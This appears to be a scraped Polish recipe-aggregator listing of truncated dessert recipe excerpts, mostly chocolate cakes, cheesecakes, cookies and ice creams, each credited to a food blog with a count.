warstw: brownie, kremu waniliowego i owocowej fużeliny. Zazwyczaj owocowa warstwa jest w wiśni, ale zrobiłam ją z malin, bo aktualnie mam jej wysyp w ogrodzie, a poza tym połączenie czekolady, wanilii i malin jest perfekcją smaku. Nie jest takie straszne do zrobienia, poprowadzę Was krok po kroku. Wszystkie składniki są podane na tortownicę o średnicy 26 cm. Piecze się tylko(...)dolną warstwę czyli brownie i od tego radzę zacząć, podczas gdy spód będzie się piekł robicie resztę. 300 g gorzkiej czekolady 1 duży banan 200 ml delikatnego oleju roślinnego lub 170 g oleju kokosowego (wtedy ciasto będzie twardsze) 150 g cukru 130 g mąki pszennej płaska łyżeczka proszku do pieczenia. Przygotowanie: W kąpieli wodnej rozpuść czekoladę z olejem. Zblenduj banana

greenscarf
Wuzetka 349

śmietanowa 850 ml śmietany 36% 3/4 szklanki cukru pudru 4 łyżeczki żelatyny 1/3 szklanki wody do nasączenia 1/2 szklanki wody 1/3 szklanki alkoholu (wódka, nalewka) polewa 200 g gorzkiej czekolady 150 ml śmietany 36% Wykonanie: Mąka przesiać razem z kakao. Żółtka oddzielić od białek. Białka ubić ze szczyptą soli na sztywno, pod koniec nie przerywając ubijania wsypywać łyżka po łyżce(...)nasączyć. Następnie wyłożyć masę śmietanowa, wyrównać i przykryć drugim blatem ciasta. Śmietanę podgrzać aż będzie bardzo gorąca, zdjąć z ognia, dodać posiekaną czekoladę i odłożyć. Gdy czekolada się roztopi, dokładnie wymieszać. Na wierzch wylać przestudzona polewę, wyrównać. Ciasto wstawić na 3-4 godz do lodówki. Smacznego

magiczna kuchnia Kasi
Lody jagodowo czekoladowo miętowe 138

Lody domowe z nuta mięty i czekoladą białą. Nawet bez maszyny lody mogą być dobre. Wiemy co jemy i jemy zdrowo.   300 g jagód 250 ml śmietany kremówki 36 % 125 ml śmietany 18 % 50 g czekolady białej 7 gałązek mięty Do garnka wlewam śmietanę 18 % i 125 ml śmietany kremówki. Miętę myję, osuszam i przekładam do śmietany. Zagotowuję(...)wolnym ogniu i odstawiam na godzinę.  Mięta w tym czasie wydobędzie aromat. Przekładam miętę na sitko, odciskam mocno i wyrzucam. Śmietanę zagotowuję ponownie, odstawiam i dodaję połamaną czekoladę, odstawiam na chwilę aż się rozpuści i mieszam.  Jagody miksuję blenderem, dodaję do zimnej śmietany czekoladowej. Pozostałą kremówkę miksuję blenderem i dolewam jagodową masę. Przelewam do pojemnika, wstawiam do zamrażalnika

wesoła kuchnia
Ciasto wegańskie z masłem orzechowym bez cukru, bez glutenu 330

wanilii sok z 1/2 cytryny Karmel orzechowy: 2 łyżki syropu klonowego 2 łyżki roztopionego oleju kokosowego 2 spore łyżki masła orzechowego szczypta soli Dodatkowo: około 40-50g gorzkiej czekolady do ozdoby – (proszę użyć czekolady bez mleka w proszku, mleka) Spód: 1. Daktyle zalać ciepłą wodą i odstawić na około 10-15 minut. Po tym czasie osączyć i razem(...)około 2-3 godziny. Jeśli za bardzo się zmrozi przed krojeniem proszę odczekać około 20-30 minut. 4. Pozostały karmel orzechowy krótko podgrzać i ozdobić nim wierzch schłodzonego ciasta. Czekoladę roztopić na parze lub w mikrofalówce i polać nią wierzch ciasta. Deser przechowywać w lodówce. Smacznego

Mała Cukierenka
Ciasto Styropian na jogurtach z borówkami 145

wyszło pyszne ciacho, które naprawdę warto zrobić. Zapraszam. Skala smaku 10/10 - zamiast borówek można dodać brzoskwinie lub wiśnie. Wierzch można posypać cukrem pudrem ja jednak wole smak czekolady. Ciasto: 3 szklanki mąki pszennej (użyłam tortowej) 1/2 łyżeczki proszku do pieczenia 1/2 szklanki cukru 200g masła 5 żółtek 1 opakowanie cukru wanilinowego 16g Masa: 1 litr jogurtu naturalnego typu greckiego(...)czubate łyżki cukru pudru 2 opakowania budyniu waniliowego bez cukru (1 budyń ok. 37g) 5 białek 100 g wiórków kokosowych Dodatkowo: 250 g borówki amerykańskiej 80 g białej czekolady 3 łyżki mleka Sposób przygotowania: Przygotować ciasto kruche. Z masła, cukru, żółtek, mąki i proszku do pieczenia zagnieść jednolite ciasto. Ciasto podzielić na pół, zawinąć w folię spożywczą i wstawić

Kubki smaku
Deser z lodami caffe latte, truskawkami, bitą śmietana i czekoladą 138

lody caffe latte Bracia Koral lody jak dawniej , do tego bita śmietana, truskawki, które udało mi się kupić w Biedronce niby polskie, tańsze niż w sezonie i starta gorzka czekolada :-) Prosto, ale bardzo smacznie wyszło, lody rewelacyjne więc polecam :-) Miłego dnia Wam życzę :-) Składniki na 1 porcję: 5 gałek lodów Bracia Koral lody jak dawniej (caffe latte) świeże truskawki bita(...)śmietana gorzka czekolada 1. Do pucharka dajemy 5 gałek lodów caffe latte, truskawki myjemy, odszypułkowujemy, przecinamy na pół i układamy koło lodów. Na środek dajemy bitą śmietanę i na całość ścieramy gorzką czekoladę :-) Smacznego

kruche babeczki
Kostka Cappuccino 379

pochodzi ze strony  MOJEWYPIEKI.COM Czekoladowe blaty: 190 g mąki pszennej ( 1 szklanka + 2 łyżki ) 220 g cukru ( 1 szklanka ) 8 dużych jajek 200 g masła 200 g gorzkiej czekolady 1,5 łyżeczki proszku do pieczenia Krem cappuccino: 250 g serka mascarpone 500 ml śmietany kremówki 36% 10 g żelatyny ( 2,5 łyżeczki ) 100 g kawy cappuccino ( proszku ), smak dowolny(...)proszek ), do oprószenia  Wykonanie: Blaty czekoladowe: Wszystkie składniki na ciasto powinny być w temperaturze pokojowej. Białka oddzielić od żółtek. Mąkę pszenną i proszek do pieczenia wymieszać i przesiać. Czekoladę roztopić w kąpieli wodnej i lekko przestudzić. Masło utrzeć z cukrem na jasną i puszystą masę. Dodać roztopioną czekoladę i zmiksować. Dodawać żółtka, jedno po drugim, miksując po każdym dodaniu

Opowieści z piekarnika
Eklerki 158

cukru 40 g mąki pszennej 40 g mąki ziemniaczanej ziarenka z 1 laski wanilii ( lub 1 opakowanie cukru wanilinowego ) opcjonalnie - 20 ml likieru, np. advocaatu Polewa czekoladowa: 50 g czekolady gorzkiej lub deserowej 20 g masła Wykonanie: Ciasto parzone : W niedużym garnku ( najlepiej z grubym dnem ) umieścić wodę i masło. Podgrzewać do rozpuszczenia się masła. Zagotować. Na gotującą się wodę(...)likier ( jeśli używacie ). Budyń przykryć folią spożywczą w taki sposób, aby dotykała jego powierzchni i odstawić do całkowitego wystudzenia.  Polewa czekoladowa : W małym rondelku rozpuścić masło, dodać posiekaną czekoladę i wymieszać do uzyskania gładkiej polewy ( masło z czekoladą można również rozpuścić w mikrofalówce ). Eklerki przekroić wzdłuż na pół.  Na dolną część ciastek nakładać krem budyniowy, np. przy pomocy

Opowieści z piekarnika
Ciasteczka owsiane z czekoladą i bananami 127

Uwielbiam ciasteczka z dodatkiem płatków owsianych. Po pierwsze - są zdrowsze niż inne, po drugie - błyskawicznie się je przygotowuje, po trzecie - można do nich " przemycić " nasze ulubione dodatki: czekoladę, orzechy, różne nasiona, suszone owoce itp. I naprawdę smakują! Moja dzisiejsza propozycja, to ciasteczka owsiane z dodatkiem czekolady i...bananów :). Tak tak, banany również się w nich skryły ;). Dzięki nim ciasteczka(...)owsianych, tzw. " górskich " 180 g masła, miękkiego 1 duże jajko 60 g miałkiego brązowego cukru 3 / 4 łyżeczki proszku do pieczenia 2 średniej wielkości dojrzałe banany 100 g posiekanej czekolady gorzkiej lub deserowej lub drobinek czekoladowych Wykonanie:  Masło utrzeć z cukrem na jasną, puszystą masę. Dodać jajko, zmiksować. Dodać rozgniecione widelcem banany ( bananów nie rozgniatamy na całkowitą papkę, najlepiej

Opowieści z piekarnika
Sernik pomarańczowy na czekoladowym spodzie 136

niepotrzebne składniki sery, dlatego do serników pieczonych się nie nadają. A wracając do samego sernika - polecam wszystkim sernikożercom. Może będzie to Wasz świąteczny sernik? ;) Czekoladowy spód : 100 g czekolady gorzkiej 115 g masła 2 duże jajka 115 g mąki pszennej 3/4 szklanki cukru 1 łyżeczka ekstraktu z wanilii Masa serowa : 1 kg twarogu tłustego lub półtłustego 5 dużych jajek(...)soczystych pomarańczy ) 30 g cukru ( lub więcej, do smaku ) 8 g żelatyny ( 2 łyżeczki ) opcjonalnie - skórka otarta z 1 pomarańczy Wykonanie : Czekoladowy spód : W garnuszku rozpuścić masło. Dodać połamaną czekoladę, odstawić na chwilę, następnie wymieszać do całkowitego rozpuszczenia czekolady i powstania jednolitego sosu czekoladowego. Odstawić do lekkiego przestudzenia. Jajka ( w całości ) ubić wraz z cukrem na bardzo puszystą i jasną

Opowieści z piekarnika
Wuzetka 140

szklanki wodą; może być również odpowiednio: wódka i woda lub nalewka wiśniowa i woda, w wersji bezalkoholowej: taka sama ilość osłodzonej, mocnej herbaty Polewa czekoladowa: 130 g czekolady gorzkiej lub deserowej 130 ml śmietany kremówki 30% lub 36% Ponadto: około 300 g powideł śliwkowych 200 ml śmietanki kremówki do wykonania rozetek Wykonanie: Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej(...)ponczem, posmarować drugą połową powideł. Schłodzić w lodówce przez około 2 godziny. Polewa czekoladowa: Śmietanę kremówkę umieścić w garnuszku, postawić na palnik i podgrzać, prawie do wrzenia. Dodać połamaną czekoladę, odstawić na chwilę, następnie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiego, jednolitego sosu czekoladowego. Polewę odstawić do przestudzenia i lekkiego zgęstnienia.  Gęstniejącą polewę rozprowadzić na schłodzonym cieście. Wstawić

Opowieści z piekarnika
Brownie z daktylami i kardamonem 139

Ciasto dla wielbicieli czekolady :) Ja aż tak wielką jej amatorką nie jestem, więc i brownie jakoś specjalnie mnie nie urzeka, ale akurat to jadłam ze smakiem; może dlatego, że jest z dodatkiem daktyli, które bardzo lubię i mojego ukochanego kardamonu ;) Brownie to ciasto proste i szybkie w przygotowaniu. I nie trzeba się martwić o zakalec...bo on tam być powinien(...)należy więc piec za długo, gdyż ciasto za bardzo się wysuszy i straci swoją "zakalcowatość", a to przecież charakterystyczna cecha tego wypieku :) Składniki: 200 g gorzkiej czekolady dobrej jakości, posiekanej 25 g kakao 130 g mąki pszennej 150 g cukru trzcinowego ( może być drobny Demerara ) 115 g masła 3 jajka 150 g suszonych daktyli 1,5 łyżeczki mielonego kardamonu szczypta

Opowieści z piekarnika
Czekoladowe muffiny z owocami 141

sztuk. No bo cóż to jest sztuk 12, skoro rozchodzą się w mgnieniu oka ;). Polecam :). Składniki na około 30 sztuk: 480 g mąki pszennej 30 g kakao 100 czekolady gorzkiej 3 duże jajka 240 g brązowego cukru 150 ml oleju rzepakowego lub słonecznikowego 1,5 szklanki maślanki 1,5 łyżeczki proszku do pieczenia 2 płaskie łyżeczki sody oczyszczonej szczypta soli(...)szklanki owoców * Wykonanie: Wszystkie składniki powinny być w temperaturze pokojowej. Czekoladę roztopić w kąpieli wodnej lub w mikrofalówce, przestudzić ( ma pozostać płynna ). W jednym naczyniu wymieszać składniki suche: przesianą mąkę i kakao, cukier, sól, proszek do pieczenia oraz sodę oczyszczoną. W drugim naczyniu wymieszać składniki mokre: roztrzepane lekko jajka, olej, maślankę oraz roztopioną i przestudzoną czekoladę. Mokre składniki wlać

Opowieści z piekarnika
Migdałowa szachownica 784

mąki pszennej 3 czubate łyżki mąki ziemniaczanej 200 g masła, w temperaturze pokojowej 1 - 2 łyżeczki ekstraktu z migdałów lub kilka kropel sztucznego aromatu migdałowego Polewa czekoladowa: 200 g czekolady gorzkiej lub deserowej lub pół na pół  150 ml śmietany kremówki 30% lub 36% Dodatkowo: płatki migdałów lub wiórki kokosowe do posypania ciasta Wykonanie: Ciasto jasne: Wszystkie składniki powinny(...)być gruba, chodzi tylko o lekkie wyrównanie kremem i "zatkanie" nim dziurek w cieście, aby polewa w nie nie wsiąkała ). Włożyć do lodówki na około 2 godziny. Polewa czekoladowa: Czekoladę posiekać. Śmietanę kremówkę przelać do garnuszka, postawić na palniku i mocno podgrzać, prawie do wrzenia. Zdjąć z ognia, dodać posiekaną czekoladę i odstawić na około 2 minuty. Po tym czasie

Opowieści z piekarnika
King - ciasto bez pieczenia 156

granulowanego! 400 g masła, pół szklanki cukru, 3/4 szklanki mleka, 510 g masy krówki, dodatkowo na polewę : 100 g orzeszków ziemnych, 50 g orzechów laskowych, 200 g gorzkiej czekolady, 1/3 szklanki mleka. Przygotowanie: Mleko podgrzewamy wraz z cukrem i odstawiamy do ostygnięcia. Masło ubijamy na puszystą masę. Stopniowo dodajemy mleko i mleko w proszku. Miksujemy do uzyskania jednolitej, gładkiej konsystencji(...)Wstawiamy do lodówki na 5 minut. W tym czasie rozdrabniamy orzechy i wrzucamy na gorącą, suchą patelnię na kilka chwil. Czekoladę rozpuszczamy wraz z mlekiem i dodajemy orzechy. Mieszamy. Na blachę wyłożoną papierem do pieczenia wykładamy pierwszą warstwę herbatników, na nich układamy 2/3 masy mlecznej i kolejną warstwę herbatników, a na nią pozostałą masę mleczną. Bezpośrednio na tę ostatnią wykładamy

Lena Gotuje
Ciasto francuskie z czekoladą 426

Widziałam je już mnóstwo razy i w końcu zdecydowałam się zrobić. Bardzo łatwe w wykonaniu, wygląda równie efektownie. Składniki: opakowanie ciasta francuskiego, tabliczka czekolady - u mnie z bakaliami, jajko Przygotowanie: Na środek ciasta francuskiego wykładamy całą czekoladę.  Nacinamy ciasto na ok 2 cm pod kątem do czekolady z obu stron.  Zawijamy górę i kolejno kawałki ciasta francuskiego

Lena Gotuje
Kubuś bez pieczenia 105

Bardzo łatwe i szybkie w wykonaniu. Mięciutkie dzięki biszkoptom. Z lekko wyczuwalnym bananowym posmakiem, a całość idealnie uzupełnia gorzka czekolada. Składniki: 2 opakowania biszkoptów po 180 g 900 ml soku typu Kubuś marchewkowo - bananowego 3 budynie waniliowe bez cukru 2 łyżki cukru 2 łyżki masła 2 duże śmietany 30% 3 śnieżki 1/4 szklanki cukru pudru 80 g startej gorzkiej czekolady(...)pieczenia wykładamy pierwsza warstwę biszkoptów, następnie wykładamy masę Kubusiowa i drugą warstwę biszkoptów. Odstawiamy do ostygnięcia. Śmietanę ubijamy wraz z cukrem pudrem i śnieżkami. Wykładamy na biszkopty. Posypujemy czekoladą. Wkładamy do lodówki na min. 12 godzin

Lena Gotuje
Cupcake z czekoladą 121

Pyszne małe muffinki z czekoladą. Świetnie smakują z kawą piernikową ! Składniki: (na około 30 sztuk): 1 1/4 szklanka mąki, 200 ml mleka, 150 g masła, 2 łyżeczki proszku do pieczenia, 2 jajka, 1/3 szklanki cukru 100 g czekolady mlecznej (opcjonalnie 2 łyżeczki kakao) Przygotowanie: Czekoladę siekamy na małe cząstki. Masło rozpuszczamy i studzimy. Suche składniki mieszamy razem i łączymy

Lena Gotuje
morele z gorzką czekoladą w szynce długo dojrzewającej 154

postanowiłam dodać przepis, który przysłowiowo dzieli ludzi. Nie każdemu będzie ta przystawka smakować. Jednak jej smak jest bardzo ciekawy i warty spróbowania. Dla mniej odważnych polecam proste morele z czekoladą.Szynki może być jej mniej niż na zdjęciu niżej. Niestety ja dałam jej odrobinkę za dużo. Ciężko określić proporcje wiec napisze tylko w jakich ilościach je mieszać. morele, czekolada gorzka(...)szynka długo dojrzewająca w cienkich plasterkach, dodatkowo wykałaczki, folia aluminiowa Morele należy przekroić na pół i wyjąć pestki. W miejsce pestek wsypać startą czekoladę tak aby wypełniła cale wgłębienie. Plasterki szynki należy przekroić na pół wzdłuż i ewentualnie w poprzek jeśli są bardzo długie i zawinąć nimi morele. Piec owinięte w folie na grillu  około 4-5 minut. Smacznego

cukrem pudrem posypane
Ciasto z malinami i kremem z nutelli 155

urodziny mojego narzeczonego zrobiłam, czekoladowe ciasto z malinami z dodatkiem orzechów laskowych. Połączenie czekolady z malinami to po prostu strzał w dziesiątkę i ciasto bardzo smakowało gościom.  Składniki: Biszkopt: 5 jajek 1/2 szklanki orzechów laskowych 4 łyżki mąki 2 łyżeczki proszku do pieczenia 4 łyżki cukru Krem: 5 łyżek nutelli 100 g czekolady 300 g malin do dekoracji szklanka(...)jajecznej i mieszamy całość delikatnie  za pomocą łyżki, nie miksujemy. Ciasto wykładamy na wyłożoną papierem blachę. Pieczemy w 180 stopniach przez 35 - 40 minut.  Następnie przygotowujemy krem. Czekoladę roztapiamy w kąpieli wodnej, pozostawiamy do ostygnięcia. Następnie miksujemy z nutellą i masłem na gładką masę.  Gdy ciasto ostygnie, przekrawamy je na pół i przekładamy kremem, na krem wysypujemy

Delusional Trine
Lody bananowe 185

lubiących banany. Pożeraczy lodów. Pogoda choć nie rozpieszcza zróbmy sobie małą przerwę na lody bananowe. Nie za słodkie, z dodatkiem kawy bardziej wyraziste. Ja osobiscie dodałam jeszcze pokruszoną czekoladę. Składniki : 4 banany - dojrzałe - żółtawe z brązowymi plamkami takie najlepsze. 1/3 łyżeczka kawy rozpuszczalnej cukier brązowy - opcjonalnie czekolada - według uznania. Przygotowanie : Banany obieramy układamy na talerzyku wyłożonym papierem do pieczenia(...)masę od czasu do czasu przerywając i mieszamy łyżką by zdjąć banany ze ścianek naczynia. Jesli banany są mało słodkie - dyspujemy cukru opcjonalnie. Ja na sam koniec dodałam pokruszoną czekoladę i wymieszałam gotową masę już w pojemniku, który następnie zamrażałam. Lody będąc dłuższy czas w zamrażarce twardnieją, wiec lepiej je wyjac na jakiś czas przed podaniem

Garnkowe fanaberie
Tarta biszkoptowa z owocami 132

Sezon jagodowy już dobiega końca, ale zdążyłam jeszcze przygotować pyszną tartę biszkoptową z masą z bitej śmietany połączonej z białą czekoladą i z borówkami amerykańskimi. Kilka tygodni wcześniej upiekłam taką samą tartę z malinami. Owoce mogą być dowolne, w zależności co akurat jest dostępne. Tarta jest lekka, puszysta, szybka do przygotowania. Polecam! Tarta biszkoptowa z owocami Składniki na formę 28cm(...)biszkopt: 3 jajka 120g drobnego cukru do wypieków pół szklanki mąki pszennej 1 łyżka mąki ziemniaczanej 3 łyżki wody Na krem: 300ml śmietanki kremówki 30 lub 36% 150g białej czekolady Dodatkowo: świeże owoce sezonowe: maliny, jagody, jeżyny Wykonanie: Biszkopt: żółtka oddzielmy od białek i ucieramy z połową cukru na jasny, puszysty krem. Pod koniec dodajemy wodę i miksujemy do połączenia

Smak mojej kuchni
Jagodowo czekoladowy sernik 327

masła masa serowa: 1 kg sera twarogowego półtłustego 1 szklanka śmietany 36 % 1/2 szklanki jogurtu greckiego 4 jajka wielkość M 3/4 szklanki cukru 1 budyń śmietankowy pozostałe: 100 g czekolady gorzkiej 30 dkg jagód 1 łyżka budyniu śmietankowego polewa jagodowa: 1/2 galaretki jagodowej 1 szklanka jagód Spód: Ciastka rozdrabniam blenderem, przekładam do miski i dodaję roztopione masło ciepłe i mieszam(...)jajka i dalej mieszam, na końcu dodaję budyń. Masy nie wyrabiam długo żeby się nie napowietrzyła. Dziele ją na trzy części. Do pozostałej śmietany kremówki 125 ml dodaję połamaną czekoladę gorzką i podgrzewam ale nie gotuję. Chwilę odstawiam i mieszam aż czekolada się rozpuści. Jak przestygnie dodaję do jednej części sera. Jagody miksuję blenderem i dodaję z łyżką budyniu

wesoła kuchnia
Ciasto a’la malinowa chmurka 497

kruche ciasto, wyrównaj wierzch i wstaw ponownie do lodówki. W tym czasie przygotuj krem: Krem: 500 ml schłodzonej śmietany 36%  250 g serka mascarpone łyżka cukru pudru + gorzka czekolada  Wszystkie składniki umieść w misie miksera (oprócz czekolady). Ubijaj, aż do otrzymania gęstego kremu. Gotowy krem wyłóż na galaretkę, wyrównaj wierzch. Na koniec posyp je startą czekoladą. Gotowe ciasto

365 dni dookoła kuchni
Brownie z mąką owsianą 133

zdjęcie, poprosiłam o przepis i oto brownie inspirowany Marianną:) Użyłam mąkę owsianą, bo unikam glutenu. Ale Wy użyjcie jaką chcecie. Na  średnią tortownicę: 120 g gorzkiej czekolady 100 g masła bez laktozy 4 jajka 2 szklanki mąki owiane Provena ( tej używam) 1/4 łyżeczki sody i proszku do pieczenia. szklanka cukru kokosowego Dodatki u mnie: posiekane pistacje, suszone wiśnie, liofilizowane(...)truskawki, świeże borówki amerykańskie Piekarnik nagrzewamy do 180 st.C. Blaszkę wykładamy papierem ( kupuję taki, który nie trzeba nawet smarować) Czekoladę i masło wkładamy do miseczki i ustawiamy na garnku z wrzątkiem. Rozpuszczamy w kąpieli wodnej. Koniecznie trzeba wystudzić. Jajka ubijamy z cukrem kokosowym  a potem strużką wlewamy rozpuszczoną czekoladę z masłem. Dodajemy mąkę z proszkiem i sodą . Mieszamy już

AZgotuj!
Sernik piernik na zimno z pistacjami, chałwą i marakują 174

pierników „Kopernik” 50 g rozpuszczonego masła   masa 250 g tłustego twarogu 900 g twarogu z kubełka 150 g śmietany 36% 100 g białej lub karmelowej czekolady (użyłam karmelowej) 4 łyżeczki żelatyny 5 – 6 łyżek mleka 150 g pierników „Katarzynek” 100 g posiekanych drobno pistacji 100 g chałwy waniliowej 2 marakuje wierzch posiekane pistacje / pokrojone(...)spód umieszczamy w blenderze i rozdrabniamy. Masło stapiamy i łączymy z masą ciasteczkową. Gotową masą wylepiamy dno tortownicy (26cm) wyłożonej papierem do pieczenia. Tortownicę umieszczamy w lodówce do schłodzenia. Czekoladę stapiamy w kąpieli wodnej. Pistacje siekamy na drobno. Pierniki i chałwę kruszymy lub siekamy. Twaróg tłusty mielimy, łączymy razem z twarogiem z kubełka. Miksując, dodajemy śmietankę 36% oraz stopioną

Raj dla Podniebienia
Sernik. 164

masę serową: 1 kg sera (tym razem dałam z wiaderka) 8 jajek 1 szklanka cukru 1/2 kostki masła 2 łyżki mąki ziemniaczanej kilka kropel olejku migdałowego Dodatkowo: 50 g. czekolady mlecznej 50 g. czekolady gorzkiej 4- 5 łyżek mleka Masło roztopić w rondelku i zostawić do wystudzenia. Żółtka ubić z cukrem, dodać ser, zmiksować. Następnie dodać mąkę i olejek(...)serowej. Gotową masę wylać na ciasto. Wstawić do piekarnika nagrzanego do 160 stopni i piec około 1 godzinę. Upieczony sernik zostawiam w piekarniku do wystudzenia przy lekko uchylonych drzwiczkach. Czekoladę połamać na kawałki i roztopić w rondelku dodając mleko. Cały czas mieszać. Gotową polewą udekorować wystudzony sernik

Agusiowe smakołyki
TORCIK NA ZIMNO CZEKOLADOWO - WANILIOWY 150

budyniu czekoladowego 250 g masła lub margaryny 1/2 litra mleka 250 g serka mascarpone 1/2 szklanki cukru kryształ 1 łyżeczka ciemnego kakao Posypka: 4 łyżeczki kawy rozpuszczalnej 2 łyżeczki czekolady gorzkiej w proszku Przygotowanie: Nasączenie - w 800 ml gorącej wodzie rozpuszczamy kawę i dodajemy do smaku syrop barmańskie o smaku waniliowym. Odstawiamy do ostygnięcia. Krem waniliowy -   ugotować budyń waniliowy(...)wystudzony budyń i 1 łyżeczkę ciemnego kakao. Na koniec dodać 250 g serka mascarpone. Dobrze wymieszać. Posypka - 4 łyżeczki kawy rozpuszczalnej utrzeć w moździerzu na drobny proszek, dodać gorzką czekoladę w proszku i dokładnie wymieszać. Biszkopty zanurzyć pojedynczo na bardzo krótko w zimnej kawie z obu stron i układać jeden obok drugiego w tortownicy o wymiarach

Ciastka - domowe słodkości
Ciasto migdałowo-orzechowe z galaretką i owocami 128

poprzestaną na jednym kawałku! Przepis zmodyfikowałam, w oryginale są zmielone orzechy laskowe, na które musi uważać moje dziecko- zastąpiłam je mielonymi migdałami. Składniki na ciasto 100 g gorzkiej czekolady 4 jaja 80 g masła 80 g cukru 100 g zmielonych migdałów lub orzechów laskowych 1 łyżeczka proszku do pieczenia Składniki na piankę 250 g twarożku z wiaderka lub serków homogenizowanych(...)galaretki malinowe 3 torebki malinowo-żurawinowej herbatki  Teekanne  ( napar z tej herbaty użyjesz zamiast wody do przygotowania galaretek , które użyjesz na wierzch ciasta) Najpierw przygotujemy ciasto. Czekoladę włożyłam do blendera i posiekałam drobno, wymieszałam z mielonymi migdałami (można kupić gotowe mielone migdały) i proszkiem do pieczenia. Oddzielamy białka od żółtek. Miękkie masło ucieramy z cukrem na puch. Ciągle

Z Kuchni Do Kuchni
Ciastka owsiano-kokosowe z białą czekoladą 115

Przepis autorski (mój). Ciasteczka smakują rewelacyjnie i zaczynają kusić już podczas ich przygotowania. Są chrupiące z zewnątrz i delikatnie miękkie w środku, a ta rozpływająca się w ustach biała czekolada... A zresztą co ja tu będę więcej pisać?! Sami spróbujcie! (około 16 sztuk)  1 szklanka mąki owsianej (1 szklanka = 250 ml) 1 szklanka wiórek kokosowych 1/2 szklanki cukru(...)groszków   W misce dokładnie wymieszać mąkę owsianą (**), wiórki, cukier oraz sodę oczyszczoną. Dodać jajko, mleko i olej kokosowy. Całość dokładnie połączyć, a na końcu do masy wmieszać posiekaną czekoladę. Z ciasta formować (zwilżonymi dłońmi) kulki o wielkości małego orzecha włoskiego i od razu układać je na blasze wyłożonej papierem do pieczenia.  (Ciastek nie należy spłaszczać i pamiętać

Di gotuje
Domowy budyń 112

prawdziwą wanilią lub 8 g cukru waniliowego 2 łyżki skrobi ziemniaczanej 2 żółtka aromat waniliowy 1 łyżeczka nasion chia (można dodać również siemię lniane)  Dodatkowo: 4 kostki gorzkiej czekolady    opcjonalnie 2 łyżeczki oleju kokosowego lub masła Przygotowanie: 1,5 szklanki mleka zagotować z masłem, cukrem, aromatem z wanilii i nasionami chia. Pozostałe pół szklanki mleka zmiksować(...)skrobią ziemniaczaną i żółtkami. Dodać do gotującego się mleka, natychmiast obniżyć moc na palniku i mieszać intensywnie, do zagotowania. Gotować minutę. Nalać do opłukanych zimną wodą salaterek. Gorzką czekoladę rozpuścić w kąpieli wodnej (można dodać 2 łyżeczki oleju kokosowego lub masła ). Udekorować. Smacznego 😊 Dziękuję 💓 #budyn#wanilia#nasionachia#gorzkaczekolada#budynwaniliowy

Słodka Strefa
BABKA CZEKOLADOWA Z SEREM 108

zwykłego twarogu) 1/4 szkl cukru 2 łyżki miękkiego masła 1 jajko 2 łyżki mąki ziemniaczanej (użyłam 1 łyżki, ponieważ zwykły twaróg jest bardziej suchy) cukier waniliowy POLEWA 2/3 tabliczki czekolady mlecznej lub gorzkiej 2/3 tabliczki czekolady białej 2 łyżki mleka Wszystkie składniki masy serowej zmiksować na gładką masę. Aby przygotować ciasto babkowe: wszystkie składniki suche wymieszać w misce, dodać miękkie(...)masę serową uważając, aby nie dotknąć boków foremki. Delikatnie wylać na wierzch pozostałą część ciasta. Piec w 175 st. przez 50-60 minut do efektu suchego patyczka. Przygotować polewy: czekolady stopić na parze lub w mikrofalówce z mlekiem i polać ostudzone ciasto.   Artykuł BABKA CZEKOLADOWA Z SEREM pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Przepis #60 Domowe FIT ciastka Delicje 143

pieczenia - 20 g cukru/słodzika Nadzienie - 150-200 g truskawek ( u mnie mrożone) - 4,5 g żelatyny - 25 ml zimnej wody Polewa - 1 łyżka oleju kokosowego - 60 g gorzkiej czekolady Wykonanie Biszkopt Białka oddzielamy od żółtek. Białka ubijamy na sztywną pianę. Pod koniec dodajemy cukier/słodzik. Następnie dodajemy po jednym żółtku. Na koniec wsypujemy mąkę oraz proszek do pieczenia. Energicznym(...)przygotowaną masę przelewamy na wyłożoną papierem do pieczenia blachę (ja użyłam takiej do tarty). Wkładamy do lodówki na 3-4 godziny. Polewa W rondelku rozpuszczamy  olej kokosowy oraz czekoladę.  Pozostawiamy na chwilę do przestudzenia. Z  przestudzonego biszkoptu wycinamy kółka, które możemy podzielić na pół wtedy ciastka będą cieńsze (ja tak zrobiłam). Z zastygniętej masy truskawkowej także wycinamy

Health-Fit-Life
Sernik gotowany 639

mleka  2 budynie waniliowe (80 g) lub 60 g mąki ziemniaczanej  4 jajka (L)  400 g herbatników kakaowych lub śmietankowych  Polewa czekoladowa: 150 g czekolady z 60% kakao  150 ml śmietany 30%  1 łyżka masła  1 łyżka cukru pudru Do odmierzania używam: szklanka - 250 ml, łyżka - 15 ml. Jak przygotować sernik gotowany(...)wstawić najlepiej na całą noc do lodówki, aby sernik zastygł i zmiękły herbatniki.  Jak zrobić polewę czekoladową: Śmietanę podgrzać w rondelku (nie gotować) i rozpuścić w niej pokruszoną czekoladę, masło i cukier puder. Powinna powstać jednolita ciekła polewa czekoladowa.  Dobrym sposobem na rozpuszczenie czekolady, jest włożenie wszystkich składników na polewę do talerza i wstawienie go na kilka minut

Kuchcik gotuje
PYSZNE RAFFAELLO Z ADWOKATEM 124

budyń oraz kawę cappuccino. MASA nr 2 SKŁADNIKI: 0,5 l. śmietany 30% 2 śmietany śnieżka 3/4 szkl adwokata 1 duża paczka biszkoptów 2 łyżki wiórków kokosowych 1 biała czekolada 2 łyżki słodkiego mleka 1-2 łyżeczki żelatyny 4-5 łyżek wody WYKONANIE: Białą czekoladę rozpuścić w mleku. Żelatynę rozpuścić w 4-5 łyżkach wody. Śmietanę ubić ze śnieżką dodać(...)adwokat ,pokruszone biszkopty, oraz wiórka kokosowe, a na końcu żelatynę oraz czekoladę. PRZEŁOŻENIE: biszkopt - 1/2 masy nr 1 - ciasto kokosowe - 1/2 masy nr 2 - biszkopt - masa nr 2 - górę posypać kokosem

Dziś Ja gotuje
Proteinowe myszki cytrynowe na serowych ciasteczkach (bez glutenu, cukru białego) 125

